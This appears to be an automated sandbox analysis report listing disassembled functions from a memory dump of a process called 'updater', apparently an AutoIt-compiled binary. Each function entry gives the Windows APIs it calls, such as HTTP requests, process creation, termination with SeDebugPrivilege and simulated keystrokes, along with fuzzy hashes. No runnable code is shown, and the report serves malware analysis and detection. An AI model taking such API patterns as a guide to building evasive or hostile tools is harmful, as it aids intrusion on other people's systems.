Function 00C3C634 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB29E2: GetWindowLongW.USER32(?,000000EB), ref: 00BB29F3

Part of subcall function 00BB2714: GetCursorPos.USER32(?), ref: 00BB2727
Part of subcall function 00BB2714: ScreenToClient.USER32(00C777B0,?), ref: 00BB2744
Part of subcall function 00BB2714: GetAsyncKeyState.USER32(00000001), ref: 00BB2769
Part of subcall function 00BB2714: GetAsyncKeyState.USER32(00000002), ref: 00BB2777

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?), ref: 00C3C69C
ImageList_EndDrag.COMCTL32 ref: 00C3C6A2
ReleaseCapture.USER32 ref: 00C3C6A8
SetWindowTextW.USER32(?,00000000), ref: 00C3C752
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00C3C765
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?), ref: 00C3C847

Strings

@GUI_DRAGFILE, xrefs: 00C3C7DC
@GUI_DROPID, xrefs: 00C3C799

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 1924731296-2107944366
Opcode ID: c60a04f5a0b625a609da393e3bdfa89f90451444b6da39d043ff38e83e0f6a1f
Instruction ID: ca260888da43341759092fd2d70839d9bbf170a21236255c2e2e282cc2710333
Opcode Fuzzy Hash: c60a04f5a0b625a609da393e3bdfa89f90451444b6da39d043ff38e83e0f6a1f
Instruction Fuzzy Hash: 9E516A71104204AFDB14EF14CC9AFAE7BE1FB84310F108A1DF9A9972E2CB70A955CB52

Function 00C220E1 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 134networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00C2211C
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00C22148
InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 00C2218A
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00C2219F
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00C221AC
HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 00C221DC
InternetCloseHandle.WININET(00000000), ref: 00C22223

Part of subcall function 00C22B4F: GetLastError.KERNEL32(?,?,00C21EE3,00000000,00000000,00000001), ref: 00C22B64
Part of subcall function 00C22B4F: SetEvent.KERNEL32(?,?,00C21EE3,00000000,00000000,00000001), ref: 00C22B79

Strings

, xrefs: 00C221CD

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorEventHandleInfoLastOpenSend
String ID:
API String ID: 2603140658-3916222277
Opcode ID: 0fee6a19806c33b1b398313f4b269acf9b3661c5df2aff4a87b3922327fb82c7
Instruction ID: 5938874e87190059ca5853075f20768b10d6f74797c388dee290d15e302a29a7
Opcode Fuzzy Hash: 0fee6a19806c33b1b398313f4b269acf9b3661c5df2aff4a87b3922327fb82c7
Instruction Fuzzy Hash: E3419CB5540228BFEB129F60DC89FBF7BACFF08350F104116FA159A141DB719E449BA1

Function 00C29330 Relevance: 13.9, APIs: 9, Instructions: 438COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,00C40980), ref: 00C29412
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,00C40980), ref: 00C29446
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00C295C0
SysFreeString.OLEAUT32(?), ref: 00C295EA

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: e26a063c499afbd07f83c1378946b44d4d86809e01a86c70be4b85c284462c8b
Instruction ID: 7ee05d0170d7140a08f2718ed41458434143bfe43ddc08040c849750af9e837b
Opcode Fuzzy Hash: e26a063c499afbd07f83c1378946b44d4d86809e01a86c70be4b85c284462c8b
Instruction Fuzzy Hash: D0F14C75A00219EFCF14DF94D884EAEB7B9FF45714F108198F916AB261CB31AE45CB90

Function 00C2FD7D Relevance: 13.9, APIs: 9, Instructions: 386processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C2FD9E
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00C2FF31
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00C2FF55
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00C2FF95
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00C2FFB7
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00C30133
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 00C30165
CloseHandle.KERNEL32(?), ref: 00C30194
CloseHandle.KERNEL32(?), ref: 00C3020B

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: 17d8cc4be6d5116877fb7c5eab45328bb505e6f6e8af868c512627c646736299
Instruction ID: f60688fc66cd91cf27085b3bfa1452e0317721233c3e75fd03dfc80033cdd3e5
Opcode Fuzzy Hash: 17d8cc4be6d5116877fb7c5eab45328bb505e6f6e8af868c512627c646736299
Instruction Fuzzy Hash: 02E1BD312042419FC725EF24C891B6EBBE1BF85310F2489ADF9999B2A2DB71DD41CB52

Function 00C1527C Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C14BC3: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00C13B8A,?), ref: 00C14BE0

Part of subcall function 00C14BC3: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00C13B8A,?), ref: 00C14BF9

Part of subcall function 00C14FEC: GetFileAttributesW.KERNEL32(?,00C13BFE), ref: 00C14FED

lstrcmpiW.KERNEL32(?,?), ref: 00C152FB
_wcscmp.LIBCMT ref: 00C15315
MoveFileW.KERNEL32(?,?), ref: 00C15330

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: 6ae281baaf1e0fb933114991d2a5f9ddea50e59af51c0987535f4cea9c24e74f
Instruction ID: b2bc4378f3a0d2485c2766c300c556a69808472a6a593090b8660944a2607c30
Opcode Fuzzy Hash: 6ae281baaf1e0fb933114991d2a5f9ddea50e59af51c0987535f4cea9c24e74f
Instruction Fuzzy Hash: 175195B20087849BC724DBA4D881EDFB3ECAF85310F50491EF199D3152EF34A6C99766

Function 00C38C6A Relevance: 13.7, APIs: 9, Instructions: 168COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00C38D24

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 7a49d0102a5bea7112358e77dd924049fc5867664fa760c1e081c9004d77608a
Instruction ID: 239d23dcdf0174c3046f8ca962472f00ebfaa09c71fd54935c03acb30d1272f5
Opcode Fuzzy Hash: 7a49d0102a5bea7112358e77dd924049fc5867664fa760c1e081c9004d77608a
Instruction Fuzzy Hash: BC51D134660305BFEF209F29DC89BAD7BA4BB05350F244511FA25EB1E1CF71AE98DA50

Function 00BB2F42 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 00BEC638
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00BEC65A
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00BEC672
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 00BEC690
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00BEC6B1
DestroyIcon.USER32(00000000), ref: 00BEC6C0
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00BEC6DD
DestroyIcon.USER32(?), ref: 00BEC6EC

Part of subcall function 00C3AAD4: DeleteObject.GDI32(00000000), ref: 00C3AB0D

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
String ID:
API String ID: 2819616528-0
Opcode ID: 9d8c5a7093190c10ed0091c5e4f6426799dc345e7853497958b1b6475a6c631e
Instruction ID: 6ccc97cc90bdaf1cd8d98d248c586ac3b911cf1474eb4b0eecb2e4e24ba0cd7c
Opcode Fuzzy Hash: 9d8c5a7093190c10ed0091c5e4f6426799dc345e7853497958b1b6475a6c631e
Instruction Fuzzy Hash: 09518A74600209AFDB24DF25CC85BBA7BF5FB49750F204668F946A7290D7B0EC91DB50

Function 00C0A226 Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C0B52D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00C0B54D
Part of subcall function 00C0B52D: GetCurrentThreadId.KERNEL32 ref: 00C0B554
Part of subcall function 00C0B52D: AttachThreadInput.USER32(00000000,?,00C0A23B,?,00000001), ref: 00C0B55B

MapVirtualKeyW.USER32(00000025,00000000), ref: 00C0A246
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00C0A263
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 00C0A266
MapVirtualKeyW.USER32(00000025,00000000), ref: 00C0A26F
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00C0A28D
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00C0A290
MapVirtualKeyW.USER32(00000025,00000000), ref: 00C0A299
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00C0A2B0
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00C0A2B3

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: 93b7b5935874d35855982645495db51f78454b68f46cec4c6458426b0c8efd7f
Instruction ID: 7fdb63a1c8c1c668de75671ee0dbb4dd11dd5008b20e08f99afb2faef43b1f4e
Opcode Fuzzy Hash: 93b7b5935874d35855982645495db51f78454b68f46cec4c6458426b0c8efd7f
Instruction Fuzzy Hash: F011E1B5990618BEF6106F609C8AFAE3B2DEB4D751F210429F7446B0D0CAF35C50DAA0

Function 00C094D9 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,00C0915A,00000B00,?,?), ref: 00C094E2
HeapAlloc.KERNEL32(00000000,?,00C0915A,00000B00,?,?), ref: 00C094E9
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00C0915A,00000B00,?,?), ref: 00C094FE
GetCurrentProcess.KERNEL32(?,00000000,?,00C0915A,00000B00,?,?), ref: 00C09506
DuplicateHandle.KERNEL32(00000000,?,00C0915A,00000B00,?,?), ref: 00C09509
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00C0915A,00000B00,?,?), ref: 00C09519
GetCurrentProcess.KERNEL32(00C0915A,00000000,?,00C0915A,00000B00,?,?), ref: 00C09521
DuplicateHandle.KERNEL32(00000000,?,00C0915A,00000B00,?,?), ref: 00C09524
CreateThread.KERNEL32(00000000,00000000,00C0954A,00000000,00000000,00000000), ref: 00C0953E

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: c9bd4a860ce0c1972ced9a96ff985503840398379de94d92eae5156fae7603d2
Instruction ID: 6e7fae0609133ba79bd241b6ddb365b123ea9d01dca1b0713b5e07dae9b69bbe
Opcode Fuzzy Hash: c9bd4a860ce0c1972ced9a96ff985503840398379de94d92eae5156fae7603d2
Instruction Fuzzy Hash: 9001A8B9680304BFE610ABA5DC4DF6F7BACFB89711F104411FA05DB1A1CA709800CA20

Function 00C2A20D Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 352COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 00C2A265
NULL Pointer assignment, xrefs: 00C2A28E, 00C2A5B2

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: 681eabcb86f727fe8f26e56437c4d1095825f22e10f583b721942169bfb74208
Instruction ID: c8c7ae6369f3cefda1aa06f9355ca5096e9ab49d3e7ff153cac0a8502a0c8ad1
Opcode Fuzzy Hash: 681eabcb86f727fe8f26e56437c4d1095825f22e10f583b721942169bfb74208
Instruction Fuzzy Hash: C9C1C371A0022A9FDF14DF98E884BAEB7F5FB48310F148569E915EB680E770DE44CB91

Function 00C297FD Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 263COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C29851
VariantInit.OLEAUT32(?), ref: 00C29922
VariantInit.OLEAUT32(?), ref: 00C29A23
VariantClear.OLEAUT32(?), ref: 00C29A2D
VariantClear.OLEAUT32(?), ref: 00C29A8A

Strings

Incorrect Object type in FOR..IN loop, xrefs: 00C29A06
Null Object assignment in FOR..IN loop, xrefs: 00C298B2, 00C299E0, 00C29A98

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-625585964
Opcode ID: 93e9d2e2fdad5df27b0954703ca9b06906e06ffcf2ab78d053bef6df54d20e0e
Instruction ID: eb2be57f2edbbb1bc67ddef2594a1f7cdf593811b7e07824d49905e44f688541
Opcode Fuzzy Hash: 93e9d2e2fdad5df27b0954703ca9b06906e06ffcf2ab78d053bef6df54d20e0e
Instruction Fuzzy Hash: 50917071A00229EBDF24DFA5D844FAEB7B8EF45720F10855DF519AB281D7709A44CFA0

Function 00C29E47 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

Part of subcall function 00C07D28: CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00C07C62,80070057,?,?,?,00C08073), ref: 00C07D45
Part of subcall function 00C07D28: ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00C07C62,80070057,?,?), ref: 00C07D60
Part of subcall function 00C07D28: lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00C07C62,80070057,?,?), ref: 00C07D6E
Part of subcall function 00C07D28: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00C07C62,80070057,?), ref: 00C07D7E

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 00C29EF0
_memset.LIBCMT ref: 00C29EFD
_memset.LIBCMT ref: 00C2A040
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000000), ref: 00C2A06C
CoTaskMemFree.OLE32(?), ref: 00C2A077

Strings

NULL Pointer assignment, xrefs: 00C2A0C5

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
String ID: NULL Pointer assignment
API String ID: 1300414916-2785691316
Opcode ID: ff0a960249fd55fb48047d990fff08879852362e629f1f1e598549273eaf5f85
Instruction ID: 57ddc64456563d571cb9b262f5ef09be04f59fc0303c66085f6e48f3ccfc9149
Opcode Fuzzy Hash: ff0a960249fd55fb48047d990fff08879852362e629f1f1e598549273eaf5f85
Instruction Fuzzy Hash: D9913871D00229EBDB10DFA5D885EDEBBB9FF09310F20815AF519A7281DB719A44CFA1

Function 00C373A5 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00C37449
SendMessageW.USER32(?,00001036,00000000,?), ref: 00C3745D
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00C37477
_wcscat.LIBCMT ref: 00C374D2
SendMessageW.USER32(?,00001057,00000000,?), ref: 00C374E9
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00C37517

Strings

SysListView32, xrefs: 00C3741B

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: b49bd3518648127305d3365478653a0f01a1b47fab6f1bae9151cfa9bb9f0056
Instruction ID: c66e4e42c363fb1ac91570c24f8ba5e913418a8daf0ea71e93ed633b12603187
Opcode Fuzzy Hash: b49bd3518648127305d3365478653a0f01a1b47fab6f1bae9151cfa9bb9f0056
Instruction Fuzzy Hash: 0B41D371914348AFEB319F64CC85BEEB7E8EF08350F10452AFA95A7291D2719D84CB60

Function 00C2F01C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00C14148: CreateToolhelp32Snapshot.KERNEL32 ref: 00C1416D
Part of subcall function 00C14148: Process32FirstW.KERNEL32(00000000,?), ref: 00C1417B
Part of subcall function 00C14148: CloseHandle.KERNEL32(00000000), ref: 00C14245

OpenProcess.KERNEL32(00000001,00000000,?), ref: 00C2F08D
GetLastError.KERNEL32 ref: 00C2F0A0
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00C2F0CF
TerminateProcess.KERNEL32(00000000,00000000), ref: 00C2F14C
GetLastError.KERNEL32(00000000), ref: 00C2F157
CloseHandle.KERNEL32(00000000), ref: 00C2F18C

Strings

SeDebugPrivilege, xrefs: 00C2F0AB

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 0df4a8b133388a6a22514e4df6bd1dbbc8ee556561c574807b883c4b2ec840b8
Instruction ID: 18cf0035e207ab286a326767e592a3b0f44fc2d18c9dbe200077e298b0cd6695
Opcode Fuzzy Hash: 0df4a8b133388a6a22514e4df6bd1dbbc8ee556561c574807b883c4b2ec840b8
Instruction Fuzzy Hash: 7A41AA312042059FD725EF24DCA5FBEB7A1AF80714F14846CF9468B2D3CBB0A915DB95

Function 00BC56F8 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117windowCOMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00C00C5B

Part of subcall function 00BC1821: _memmove.LIBCMT ref: 00BC185B

_memset.LIBCMT ref: 00BC5787
_wcscpy.LIBCMT ref: 00BC57DB
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00BC57EB
__swprintf.LIBCMT ref: 00C00CD1

Strings

AutoIt - , xrefs: 00BC5760
Line %d: , xrefs: 00C00CCB

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
